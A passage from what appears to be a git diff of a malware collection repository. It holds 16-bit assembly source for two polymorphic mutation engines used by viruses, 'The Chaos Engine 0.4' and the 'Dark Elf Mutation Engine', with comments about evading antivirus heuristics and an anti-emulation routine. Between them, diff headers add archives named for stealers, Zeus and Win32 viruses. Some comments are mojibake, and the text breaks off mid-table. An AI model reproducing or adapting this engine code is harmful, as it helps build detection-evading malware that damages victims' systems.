Australia+;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;on CALLing of TCE -+;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.+;;; 2 - Make Short Decryptor (No Junk).+;;; 4 - Add Segment Overide.+;;;+;;;CX = Length of Code to Encrypt.+;;;DX = Delta Offset.+;;;DS:SI = Code to encrypt (DS _MUST_ = CS).+;;;ES:DI = Location of Buffer to Create Decryptor in.+;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;ON RETURN:+;;;ES = DS = Segment of Decryptor / Encrypted Code+;;;DX = Pointer to Start of Code+;;;CX = Length of Code+;;;;;;;;;;;;;;;;;;;+;;;Flag EQUates++MAKE_SMALL equ 1+PAD_TO_MAX equ 2+ADD_SEG equ 4++;;;;;;;;;;;;;;;;;;;+;;;W.H.A.T.E.V.E.R++DECRYPTOR_LENGTH equ 190h+MAX_PADDING equ 90h - 1f+length_1 equ (offset int_tbl - offset one_byters)-1++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;REGISTER TABLE - INTEL STANDLE FORMAT++tce_AX equ 0000xB+tce_CX equ 0001xB+tce_DX equ 0010xB+tce_BX equ 0011xB+tce_SP equ 0100xB+tce_BP equ 0101xB+tce_SI equ 0110xB+tce_DI equ 0111xB++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;THe BeLoW InSTuCTiOn CaN KilL A MaN++db '[TCE-0.4]',0++;*****************************************************+;*****************************************************+;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***+;*****************************************************+;*****************************************************++tce: push ax,bx,bp+ push di,si++ cld++ mov tce_begin,di+ mov tce_delta,dx+ mov c_length,cx+ mov tce_flags,ax+ call clear_regs+ mov B index_sub,0++ mov B[offset more_junk],0b0+ test W tce_flags,MAKE_SMALL+ if nz mov B[offset more_junk],0c3++ push si+ call get_rand_1f+ add ax,MAX_PADDING+ xchg cx,ax+ call more_junk++swap0: mov si,offset init_1+ lodsw+ call binary+ jz no_swap1+ xchg ax,[si]+ mov [si-2],ax++no_swap1:+ push ax+ lodsw+ call binary+ jnz no_swap2+ xchg ax,[si]+ mov [si-2],ax++no_swap2:+ push ax+ lodsw+ lodsw+ call binary+ jz build_code+ xchg ax,[si]+ mov [si-2],ax++build_code:+ pop ax+ call ax+ call pad_10+ pop ax+ call ax+ call pad_10+ call W init_3+ call pad_10+ call gen_decrypt+ call pad_8+ call W init_4+ call pad_8+ call W init_5+ call pad_10+ call gen_loop+ call pad_8++ test W tce_flags,PAD_TO_MAX+ jz no_padding++ mov B[offset more_junk],0b0+ mov cx,DECRYPTOR_LENGTH+ add cx,tce_begin+ sub cx,di+ call more_junk++no_padding:+ mov ax,di+ sub ax,DECRYPTOR_LENGTH+ add enc_index,ax+ mov bx,W index_loc+ cmp B index_sub,1+ if e neg ax+ add es:[bx],ax++ pop si+ mov cx,c_length+ rep movsb+ mov dx,tce_begin+ mov ds,es+ call encryptor+ mov cx,di+ sub cx,dx++ pop si,di+ pop bp,bx,ax+ ret++init_count: ;Initialises Count Register..+ call get_unused_reg ;Make Count Initialiser in Encryptor and+ cmp al,tce_DX+ je init_count+ mov count_reg,al ;Decryptor+ mov bx,W c_length+ shr bx,1+ mov W enc_length,bx+ call gen_mov_reg+ ret++init_index: ;Initialises Index Register..+ mov ax,0ff ;Makes Index Initialiser in Encryptor and+ call get_rand ;Decryptor..+ push ax+ call get_rand_7+ pop ax+ if z xor ax,ax+ mov B index_off,al+ mov bx,DECRYPTOR_LENGTH+ add bx, tce_begin+ mov W enc_index,bx+ add bx, tce_delta+ cbw+ sub bx,ax++get_index:+ call get_unused_reg+ cmp al,tce_BX+ jb get_index+ mov W index_num,ax+ mov B index_reg,al+ mov B index_set,1+ call gen_mov_reg+ mov B index_set,0+ ret++gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction+ mov W loop_start,di+ call pad_8+ mov bl,B key_reg+ sal bl,3+ call get_rand_2+ add ax,ax+ add ax,offset enc_table+ xchg si,ax+ lodsw+ call binary+ if z xchg ah,al+ push ax+ cmp si,offset enc_table + 2+ jne no_carry_set+ mov al,0f8+ call binary+ if z inc ax+ mov B enc_cf,al+ stosb++no_carry_set:+ test W tce_flags,ADD_SEG+ jz no_seg_set+ mov al,2e+ stosb++no_seg_set:+ pop ax+ stosb+ mov B enc_loop,ah+ mov si,W index_num++ cmp B index_reg,tce_BP+ je encryptor_has_offset+ cmp B index_off,0+ jne encryptor_has_offset+ push ax+ call get_rand_7+ pop ax+ jz encryptor_has_offset+ add si,index_tab_c+ lodsb+ or al,bl+ stosb+ ret++encryptor_has_offset:+ add si,index_tab_b+ lodsb+ or al,bl+ mov ah,B index_off+ or al,bl+ stosw+ xchg al,ah+ cbw+ call binary+ jnz ret+ mov al,ah+ stosb+ add es:B[di-3],40+ ret++modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx+ call get_rand_7+ jz no_mod_key+ call get_rand_2+ add ax,offset modify_table+ xchg si,ax+ lodsb+ mov ah,al+ mov al,81+ mov W enc_mod_op,ax+ or ah,B key_reg+ stosw+ call get_any_rand+ stosw++no_mod_key:+ mov W enc_mod_val,ax++ ret++inc_index: ;increase index by 2..+ call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2+ jz add_sub_index++ mov al,B index_reg+ or al,40+ stosb+ call pad_8+ stosb+ ret++add_sub_index:+ mov al,83+ stosb+ mov ah,2+ mov al,B index_reg+ or al,0c0++ call binary+ jnz put_add_sub_index++ neg ah+ or al,0e8++put_add_sub_index:+ stosw+ ret++gen_loop:+ mov al,B count_reg+ cmp al,tce_CX+ jne not_CX++ push ax+ call get_rand_7+ pop ax+ jz not_CX++ lea bx,[di+2]+ mov ax,W loop_start+ sub ax,bx+ mov ah,0e2+ call binary+ jnz no_loop_nz+ xchg bp,ax+ jmp short do_loop_nz++no_loop_nz:+ xchg ah,al+ stosw+ ret++not_CX: xchg bx,ax++ call binary+ jz count_add_sub++ mov al,48+ or al,bl+ stosb+ jmp short zero_test+++count_add_sub:+ mov al,83+ stosb+ mov ah,-1+ mov al,bl+ or al,0c0++ call binary+ jnz put_add_sub_count++ neg ah+ or al,0e8++put_add_sub_count:+ stosw+ xor bp,bp+ push ax+ call get_rand_7+ pop ax+ jz nloop_nz++zero_test:+ call pad_10+ xor bp,bp+do_loop_nz:+ mov al,B count_reg+ mov bl,al+ sal al,3+ or al,bl+ xchg ah,al+ mov bh,ah+ call get_rand_2+ add ax,offset zero_test_a+ xchg si,ax+ lodsb+ mov ah,bh+ or ah,0c0+ stosw++nloop_nz:+ lea bx,[di+2]+ mov ax,W loop_start+ sub ax,bx+ or bp,bp+ jnz loop_nz+ mov ah,075+ call binary+ jnz nnnn+ mov B es:[di],0f8+ inc di+ sub ax,0fe01+ db 0a9++loop_nz:mov ah,0e0+++nnnn: xchg ah,al+ stosw+ ret++init_key:+ call get_any_rand+ mov W enc_key,ax+ xchg bx,ax+ call get_unused_reg+ mov B key_reg,al++gen_mov_reg:+ call binary+ jz lea_mov++ or al,0b8+ stosb+ xchg ax,bx+ jmp short put_mov_b++lea_mov:call binary+ jz zero_then_add++ sal al,3+ or al,06+ mov ah,8d+ xchg ah,al+ stosw+ xchg ax,bx+ jmp short put_mov_b++zero_then_add: ;Zero Register (XOR/SUB reg,reg)+ push bx ;Then OR/XOR/ADD Value+ push ax ;or SUB -Value+ mov ah,0c0+ or ah,al+ sal al,3+ or ah,al+ mov al,29+ call binary+ if z mov al,31+ stosw+ call pad_10+ pop bx+ call get_rand_2+ add ax,offset value_from_0+ xchg si,ax+ lodsb+ call binary+ jz zero_then_sub++ or al,bl+ mov ah,81+ xchg ah,al+ stosw+ pop ax++put_mov_b:+ cmp B index_set,01+ if e mov W index_loc,di+ stosw+ ret++zero_then_sub:+ cmp B index_set,01+ if e mov B index_sub,1+ mov al,0e8+ or al,bl+ mov ah,81+ xchg ah,al+ stosw+ pop ax+ neg ax+ jmp short put_mov_b++pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes+ call get_rand_7+ inc ax+ jmp short padder++pad_10: push ax+ call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes+ or al,8+padder: xchg cx,ax+ call more_junk+ pop ax+ ret+++more_junk:+ mov al,03+ call get_rand_b+ jnz mj0++ mov B [offset code_jmp],083 ;Re-Enable Jumps+ mov ax,cx ;else normal filler junk (1 in 16)+ cmp ax,40+ if a mov al,40+ call get_rand_b+ xchg bx,ax+ call fill_jnk+ jmp short mj2++mj0: ;8 in 16 chance of some type of jump+ call code_jmp+++mj2: jcxz ret+ jmp short more_junk+++one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION+ jcxz ret+ mov si,one_byters ;FROM one_byters TABLE+ mov al,length_1+ call get_rand_b+ add si,ax+ movsb+ dec cx+ dec bx+ ret++reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..+ sal al,3+ or al,3+ xchg dx,ax+ call get_unused_reg+ sal al,3+ mov dh,al+ call get_rand_7+do_op: or dh,al+ or dh,0c0+ xchg dx,ax+put_2: cmp bx,2+ jb one_byte+ stosw+ dec cx,2+ dec bx,2+ ret+++lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]+ cmp al,6+ je lea_reg++ xchg dx,ax+ call get_unused_reg+ sal al,3+ or al,dl+ mov ah,08d+ xchg ah,al++ jmp short put_2++op_ax: call get_any_rand+ and al,8+ or al,5+ and ah,3+ shr ah,4+ or al,ah++put_3: cmp bx,3+ jb reg_op+ stosb+ call get_any_rand+put_3b: stosw+ sub cx,3+ sub bx,3+ ret++mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx+ or al,0b8+ jmp short put_3+++op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16+ cmp bx,4+ jb op_ax+ call get_unused_reg+ mov ah,81+ xchg dx,ax+ call get_rand_7+ sal al,3+ or ax,dx+ xchg ah,al+ or ah,0c0+ stosw+ call get_any_rand+ stosw+ sub bx,4+ sub cx,4+ ret+++code_jmp:+ cmp cx,3+ jb ret++ mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained+ ;(TBAV-J) and helps stops heuristics+ call get_any_rand ;else conditional jmp+ and ax,1f0f ;between 4 and 43 bytse jmp length+ add ah,4+ or al,70 ;conditional jmp instructions are 70+ ;--> 7f+ push ax+ call get_rand_1f+ pop ax+ if z mov al,0e3+ xor bx,bx+ mov bl,ah++ dec cx,2+ cmp bx,cx+ jb put_jmp+ mov bx,cx+ mov ah,bl++put_jmp:stosw++fill_jnk:+ or bx,bx+ jz ret++ mov al,((offset binary - offset junk_tbl)/2)-1+ call get_rand_b+ add ax,ax+ add ax,offset junk_tbl+ xchg si,ax+ lodsw+ call ax+ jmp short fill_jnk+++pp_reg: ;generate PUSH reg / junk / POP reg+ cmp bx,3+ jb gen_int++ lea ax,[bx-2]+ shr ax,1+ call get_rand+ xchg ax,dx+ call get_rand_7+ or al,50+ stosb+ dec cx+ dec bx+ push ax+ xchg dx,ax+ sub bx,ax+ push bx+ xchg bx,ax+ call fill_jnk+ pop bx+ pop ax++ call binary+ jz use_same+ call get_unused_reg+ or al,50++use_same:+ or al,8+ stosb+ dec cx+ dec bx+ ret+++gen_int:cmp bx,4+ jb ret++ call get_rand_2++ add ax,ax+ add ax,offset int_tbl+ xchg si,ax+ lodsw+ mov dx,0cdb4+ xchg al,dl+ stosw+ xchg dx,ax+ xchg ah,al+ stosw+ sub cx,4+ sub bx,4+ ret++junk_tbl: dw offset op_reg_im+ dw offset op_reg_im+ dw offset op_reg_im+ dw offset gen_int+ dw offset gen_int+ dw offset pp_reg+ dw offset pp_reg+ dw offset reg_op+ dw offset reg_op+ dw offset lea_reg+ dw offset lea_reg+ dw offset mov_reg+ dw offset op_ax+ dw offset one_byte++binary: push ax+ mov al,1+ call get_rand_b+ pop ax+ ret++get_rand_2:+ mov al,2+ db 0a9++get_rand_7:+ mov al,7+ db 0a9++get_rand_1f:+ mov al,1f+ db 0a9++get_any_rand: ;return rnd number in AX between 0 and FFFE+ mov al,0fe++get_rand_b:+ cbw++get_rand: ;returns random number in AX between 0 and AX+ push cx,dx+ inc ax+ push ax+ in ax,40+ xchg cx,ax+ in ax,40+ rol ax,cl+ xchg cx,ax+ in ax,40+ xor ax,cx+ adc ax,1234+ org $-2+last_rand dw 0AAAA+ mov last_rand,ax+ pop cx+ xor dx,dx+ cmp cx,1+ adc cx,0+ div cx+ xchg dx,ax+ or ax,ax+ pop dx,cx+ ret++one_byters: cmc ;15 1 byte junk instructions+ cld+ std+ in ax,dx+ in al,dx+ lahf+ cbw+ nop+ aaa+ aas+ daa+ das+ inc ax+ dec ax+ xlat+++int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..+ dw 0216 ;AH=02,INT16: Get Keyboard States..+ dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..+ dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..+ dw 0d10 ;AH=0D,INT10: Get Video Info..+ dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..+ dw 002a+ dw 002a+++clear_regs: cwd+ mov B index_reg,dl ;Clears Register Tables+ mov B key_reg,dl ;(All Regs Free)..+ mov B count_reg,dl+ ret++get_unused_reg: call get_rand_7 ;Return an Unused Register..+ test al,NOT tce_SP ;But _NOT_ SP, or AX.+ jz get_unused_reg+ cmp al,index_reg+ je get_unused_reg+ cmp al,count_reg+ je get_unused_reg+ cmp al,B key_reg+ je get_unused_reg+ ret+++;**********************************************+;* The Encryptor (Built along with Decryptor) *+;**********************************************+encryptor: mov cx,1234+ org $-2+enc_length dw 0++ mov bx,1234+ org $-2+enc_index dw 0++ mov ax,1234+ org $-2+enc_key dw 0++enc_cf: nop+enc_loop: xor [bx],ax++enc_mod_op dw 0+enc_mod_val dw 0++ inc bx,2+ loop enc_cf+ ret++;****************************+;* Data / Variables / Flags *+;****************************++init_1 dw offset init_count+init_2 dw offset init_key+init_3 dw offset init_index++init_4 dw offset inc_index+init_5 dw offset modify_key++;* The Below is A table of Values to Be Used To Choose *+;* The Count Register, The Index Register, and The Reg *+;* to save SP in During the Decryptor Loop *+; BX BP SI DI ;This Table is used To Build+index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction+index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above+; SBB ADC XOR XOR ADD SUB+enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..++; AND OR TEST+zero_test_a: db 21, 09,85++; SUB ;Opcodes to Modify the Key+modify_table: db 0e8 ;Register+; ADD XOR OR ;Opcode to get A value+value_from_0: db 0c0,0f0,0c8 ;from 0.++loop_start dw 0 ;Postion for LOOP to Jump to..++index_num dw 0+index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).+index_loc dw 0 ;location in ES of index reference set+index_sub db 0 ;Was index_reg set using 0 the sub -value?++index_reg db 0 ;Table of Used Registers..+count_reg db 0 ;used in GET_UNUSED_REG+key_reg db 0+index_set db 0++tce_flags dw 0 ;Engines Flags+tce_delta dw 0 ;Delta Offset+tce_begin dw 0 ;Beginning+c_length dw 0+end_tce:+diff --git a/Malwares/Win32/Win32.KeyboardHook.7z b/Malwares/Win32/Win32.KeyboardHook.7znew file mode 100644index 0000000..d12cfa3Binary files /dev/null and b/Malwares/Win32/Win32.KeyboardHook.7z differdiff --git a/Malwares/Win32/Win32.LithiumPortscan.7z b/Malwares/Win32/Win32.LithiumPortscan.7znew file mode 100644index 0000000..c99efbdBinary files /dev/null and b/Malwares/Win32/Win32.LithiumPortscan.7z differdiff --git a/Malwares/Win32/Win32.PredatorTheMiner.s.7z b/Malwares/Win32/Win32.PredatorTheMiner.s.7znew file mode 100644index 0000000..ebb6326Binary files /dev/null and b/Malwares/Win32/Win32.PredatorTheMiner.s.7z differdiff --git a/Malwares/Win32/Win32.ProstoStealer.7z b/Malwares/Win32/Win32.ProstoStealer.7znew file mode 100644index 0000000..18c2a1dBinary files /dev/null and b/Malwares/Win32/Win32.ProstoStealer.7z differdiff --git a/Malwares/Win32/Win32.Prynt.7z b/Malwares/Win32/Win32.Prynt.7znew file mode 100644index 0000000..655724fBinary files /dev/null and b/Malwares/Win32/Win32.Prynt.7z differdiff --git a/Malwares/Win32/Win32.PryntStealer.7z b/Malwares/Win32/Win32.PryntStealer.7znew file mode 100644index 0000000..d0dcd8bBinary files /dev/null and b/Malwares/Win32/Win32.PryntStealer.7z differdiff --git a/Malwares/Win32/Win32.RegFuck.zip b/Malwares/Win32/Win32.RegFuck.zipnew file mode 100644index 0000000..b3850c1Binary files /dev/null and b/Malwares/Win32/Win32.RegFuck.zip differdiff --git a/Malwares/Win32/Win32.Rust.LucaStealer.zip b/Malwares/Win32/Win32.Rust.LucaStealer.zipnew file mode 100644index 0000000..536f1a6Binary files /dev/null and b/Malwares/Win32/Win32.Rust.LucaStealer.zip differdiff --git a/Malwares/Win32/Win32.Rust.RedLizard.zip b/Malwares/Win32/Win32.Rust.RedLizard.zipnew file mode 100644index 0000000..0727811Binary files /dev/null and b/Malwares/Win32/Win32.Rust.RedLizard.zip differdiff --git a/Malwares/Win32/Win32.Stealer.PredatorTheThief.zip b/Malwares/Win32/Win32.Stealer.PredatorTheThief.zipnew file mode 100644index 0000000..7e4ff45Binary files /dev/null and b/Malwares/Win32/Win32.Stealer.PredatorTheThief.zip differdiff --git a/Malwares/Win32/Win32.Stealer.SophStealer.zip b/Malwares/Win32/Win32.Stealer.SophStealer.zipnew file mode 100644index 0000000..fe22484Binary files /dev/null and b/Malwares/Win32/Win32.Stealer.SophStealer.zip differdiff --git a/Malwares/Win32/Win32.Stealer.SoranoStealer.zip b/Malwares/Win32/Win32.Stealer.SoranoStealer.zipnew file mode 100644index 0000000..326ed29Binary files /dev/null and b/Malwares/Win32/Win32.Stealer.SoranoStealer.zip differdiff --git a/Malwares/Win32/Win32.Zeus.a.b.7z b/Malwares/Win32/Win32.Zeus.a.b.7znew file mode 100644index 0000000..1c6b596Binary files /dev/null and b/Malwares/Win32/Win32.Zeus.a.b.7z differdiff --git a/Malwares/Win32/Win32.Zeus.b.7z b/Malwares/Win32/Win32.Zeus.b.7znew file mode 100644index 0000000..424b0a0Binary files /dev/null and b/Malwares/Win32/Win32.Zeus.b.7z differdiff --git a/Malwares/Win32/ms-win.gif b/Malwares/Win32/ms-win.gifnew file mode 100644index 0000000..d4c3a43Binary files /dev/null and b/Malwares/Win32/ms-win.gif differdiff --git a/Malwares/Win32/win32 Engines/Cryptor.Win32.Adrena.7z b/Malwares/Win32/win32 Engines/Cryptor.Win32.Adrena.7znew file mode 100644index 0000000..a7fd692Binary files /dev/null and b/Malwares/Win32/win32 Engines/Cryptor.Win32.Adrena.7z differdiff --git a/Malwares/Win32/win32 Engines/README.md b/Malwares/Win32/win32 Engines/README.mdnew file mode 100644index 0000000..cb9152e--- /dev/null+++ b/Malwares/Win32/win32 Engines/README.md@@ -0,0 +1,2 @@+# Win32 Engines+ diff --git a/Malwares/Win32/win32 Engines/Ring3HookEngine.rar b/Malwares/Win32/win32 Engines/Ring3HookEngine.rarnew file mode 100644index 0000000..27e7f2aBinary files /dev/null and b/Malwares/Win32/win32 Engines/Ring3HookEngine.rar differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Abme.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Abme.7znew file mode 100644index 0000000..929ceaaBinary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Abme.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Alma.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Alma.7znew file mode 100644index 0000000..ebf2212Binary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Alma.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Antisocial.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Antisocial.7znew file mode 100644index 0000000..d748ea3Binary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Antisocial.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Antiweb.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Antiweb.7znew file mode 100644index 0000000..d065971Binary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Antiweb.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Ape.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Ape.7znew file mode 100644index 0000000..57ce3bbBinary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Ape.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Benny.a.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Benny.a.7znew file mode 100644index 0000000..7d77119Binary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Benny.a.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Bi-Perm.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Bi-Perm.7znew file mode 100644index 0000000..d0d16a4Binary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Bi-Perm.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.DarkElf.asm b/Malwares/Win32/win32 Engines/Virus.Win32.DarkElf.asmnew file mode 100644index 0000000..8bbd78f--- /dev/null+++ b/Malwares/Win32/win32 Engines/Virus.Win32.DarkElf.asm@@ -0,0 +1,821 @@+; ��������������������������������������������������������������������Ŀ+; � Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 �+; ����������������������������������������������������������������������+;+;����ணࠬ�� :+; DEME - ᠬ Mutation � ����+; Randomize - �� ���� 40h+; RND - AX = RND(65536)++PUSHSTATE+IDEAL+LOCALS @@+DEME_MaxDecoderLen=1500+proc DEME+;��ࠬ���� :+;es:di - ���� ����, � ����� �㤥� ����ᠭ १����+; ࠧ���_���� = ࠧ���_��室����_���� + 1500+;ds:si - ���� ����, ����� ����室��� �������+;dx - ���� �ਢ離� ����騪� (������� ORG xxxx)+;bx - ࠧ��� ��室���� ���� (� �����)+;�����頥� :+;cx - ����� ����祭���� ���� (� �����)+ pushf+ push bx di si ds+ push cs+ pop ds+ cld+ inc bx+ shr bx,1+ mov [DEME_CodeLen],bx+ mov [DEME_Origin],dx+ mov [DEME_BuffOffs],di+ call Randomize+ call DEME_ChooseRegs+ call DEME_GenProlog+ call DEME_GenCrypt+ call DEME_GenEpilog+ pop ds si+ call DEME_Encode+ mov cx,di+ pop di bx+ sub cx,di+ popf+ ret+endp DEME++R_AX=00000000b+R_CX=00000001b+R_DX=00000010b+R_BX=00000011b+R_SP=00000100b+R_BP=00000101b+R_SI=00000110b+R_DI=00000111b++M_AX=00000001b+M_CX=00000010b+M_DX=00000100b+M_BX=00001000b+M_SP=00010000b+M_BP=00100000b+M_SI=01000000b+M_DI=10000000b+M_INDEX=M_BX+M_SI+M_DI+M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI++DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0+DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0+DEME_Date db ??date,0,??time,0++proc DEME_Encode near+ push ax bx cx dx si+ mov cx,[DEME_CodeLen]+ mov dx,[DEME_Key]+@@1:+ lodsw+ xor ax,dx+ stosw+ add dx,[DEME_KeyAdd]+ loop @@1+ pop si dx cx bx ax+ ret+endp DEME_Encode++proc DEME_ChooseRegs near+ push ax+ mov [DEME_MaskUsed],M_SP+ mov al,M_INDEX+ call DEME_GetAnyReg+ mov [DEME_RegIndex],ax+ mov al,M_ALL+ call DEME_GetAnyReg+ mov [DEME_RegCounter],ax+ mov al,M_ALL+ call DEME_GetAnyReg+ mov [DEME_RegKey],ax+ pop ax+ ret+endp DEME_ChooseRegs+++proc DEME_GenProlog near+ push ax bx cx dx+ call DEME_GenRandomSeq+ call DEME_GenAntiWeb++ mov bx,offset DEME_GenLoadIndex+ mov cx,offset DEME_GenLoadKey+ mov dx,offset DEME_GenLoadCounter++ call DEME_MixRegs+ call DEME_GenRandomSeq+ call bx+ call DEME_GenRandomSeq+ call dx+ call DEME_GenRandomSeq+ call cx+ call DEME_GenRandomSeq++ pop dx cx bx ax+ ret+endp DEME_GenProlog+++proc DEME_GenAntiWeb+ push ax bx cx+ mov cl,[DEME_MaskUsed]+ test cl,M_AX+ je @@1+ mov al,050h+ stosb+ call DEME_GenRandomSeq+@@1:+ or [DEME_MaskUsed],M_AX+ mov ax,41e4h+ stosw+ call DEME_GenRandomSeq+ mov ax,1100010010001000b+ stosw+ call DEME_GenRandomSeq+ mov ax,41e4h+ stosw+ call DEME_GenRandomSeq+ mov ax,1100010000110000b+ stosw+ mov al,01110101b+ stosw+ mov bx,di+ call DEME_GenRandomSeq+ mov ax,4cb4h+ stosw+ mov ax,21cdh+ stosw+ call DEME_GenRandomSeq+ mov ax,di+ sub ax,bx+ mov [es:bx-1],al++ test cl,M_AX+ je @@2+ mov al,058h+ stosb+ call DEME_GenRandomSeq+@@2:+ mov [DEME_MaskUsed],cl+ pop cx bx ax+ ret+endp DEME_GenAntiWeb+++proc DEME_GenLoadIndex near+ push ax+ mov ax,[DEME_RegIndex]+ or al,10111000b+ stosb+ mov [DEME_AddrBeg],di+ stosw+ pop ax+ ret+endp DEME_GenLoadIndex++proc DEME_GenLoadKey near+ push ax bx+ call RND+ mov bx,ax+ mov [DEME_Key],ax+ mov ax,[DEME_RegKey]+ call DEME_GenLoadReg16+ pop bx ax+ ret+endp DEME_GenLoadKey++proc DEME_GenLoadCounter near+ push ax bx+ mov ax,[DEME_RegCounter]+ mov bx,[DEME_CodeLen]+ call DEME_GenLoadReg16+ pop bx ax+ ret+endp DEME_GenLoadCounter++proc DEME_GenCrypt near+ push ax bx cx dx+ mov [DEME_LoopAddr],di++ call DEME_GenRandomSeq+ call DEME_GenXorCmd++ mov dx,offset DEME_GenIncIndex+ mov bx,offset DEME_GenAddKey+ mov cx,offset DEME_GenDecCounter+ call DEME_MixRegs+ call DEME_GenRandomSeq+ call bx+ call DEME_GenRandomSeq+ call dx+ call DEME_GenRandomSeq+ call cx+ call DEME_GenRandomSeq+ call DEME_GenCloseCycle+ call DEME_GenRandomSeq+ pop dx cx bx ax+ ret+endp DEME_GenCrypt++proc DEME_GenXorCmd near+ push ax bx+ mov al,2eh+ stosb+ mov al,00110001b+ stosb+ mov bx,[DEME_RegIndex]+ cmp bx,R_BX+ jne @@1+ mov al,00000111b+@@1:+ cmp bx,R_SI+ jne @@2+ mov al,00000100b+@@2:+ cmp bx,R_DI+ jne @@3+ mov al,00000101b+@@3:+ mov bx,[DEME_RegKey]+ shl bl,3+ or al,bl+ stosb+ pop bx ax+ ret+endp DEME_GenXorCmd++proc DEME_GenIncIndex near+ push ax bx+ mov bx,[DEME_RegIndex]+ call RND+ and ax,3+ or al,al+ jne @@1+ mov al,01000000b+ or al,bl+ stosb+ stosb+ jmp @@Exit+@@1:+ dec al+ jne @@2+ mov al,10000001b+ stosb+ mov al,11000000b+ or al,bl+ stosb+ mov ax,2+ stosw+ jmp @@Exit+@@2:+ dec al+ jne @@3+ mov al,10000001b+ stosb+ mov al,11101000b+ or al,bl+ stosb+ mov ax,-2+ stosw+ jmp @@Exit+@@3:+ call DEME_GetUnusedReg+ mov bx,2+ call DEME_GenLoadReg16+ mov bx,[DEME_RegIndex]+ mov bh,al+ shl bh,3+ mov al,00000001b+ stosb+ mov al,11000000b+ or al,bl+ or al,bh+ stosb+@@Exit:+ pop bx ax+ ret+endp DEME_GenIncIndex++proc DEME_GenAddKey near+ push ax bx+ mov bx,[DEME_RegKey]+ call RND+ mov [DEME_KeyAdd],ax+ push ax+ call RND+ xor ah,ah+ test al,00000100b+ je @@1+ neg [DEME_KeyAdd]+ mov ah,00101000b+@@1:+ mov al,10000001b+ stosb+ mov al,11000000b+ xor al,ah+ or al,bl+ stosb+ pop ax+ stosw+@@Exit:+ pop bx ax+ ret+endp DEME_GenAddKey++proc DEME_GenDecCounter near+ push ax bx+ mov bx,[DEME_RegCounter]+ call RND+ and ax,3+ or al,al+ jne @@1+ mov al,01001000b+ or al,bl+ stosb+ jmp @@Exit+@@1:+ dec al+ jne @@2+ mov al,10000001b+ stosb+ mov al,11000000b+ or al,bl+ stosb+ mov ax,-1+ stosw+ jmp @@Exit+@@2:+ dec al+ jne @@3+ mov al,10000001b+ stosb+ mov al,11101000b+ or al,bl+ stosb+ mov ax,1+ stosw+ jmp @@Exit+@@3:+ call DEME_GetUnusedReg+ mov bx,1+ call DEME_GenLoadReg16+ mov bx,[DEME_RegCounter]+ mov bh,al+ shl bh,3+ mov al,00101001b+ stosb+ mov al,11000000b+ or al,bl+ or al,bh+ stosb+@@Exit:+ pop bx ax+ ret+endp DEME_GenDecCounter++proc DEME_GenCloseCycle near+ push ax bx cx dx+ call RND+ and ax,3+ shl ax,1+ mov bx,ax+ call [DEME_Clos1Tbl+bx]+ call RND+ test al,1+ je @@1+ mov al,10011100b+ stosb+ call DEME_GenRandomSeq+ mov al,10011101b+ stosb+@@1:+ call [DEME_Clos2Tbl+bx]+ call DEME_GenRandomSeq+ call DEME_ClosJmp+ call DEME_GenRandomSeq+ call DEME_ClosJmpShort+ call DEME_GenRandomSeq+ pop dx cx bx ax+ ret+endp DEME_GenCloseCycle++DEME_Clos1Tbl dw offset DEME_Clos11+ dw offset DEME_Clos12+ dw offset DEME_Clos13+ dw offset 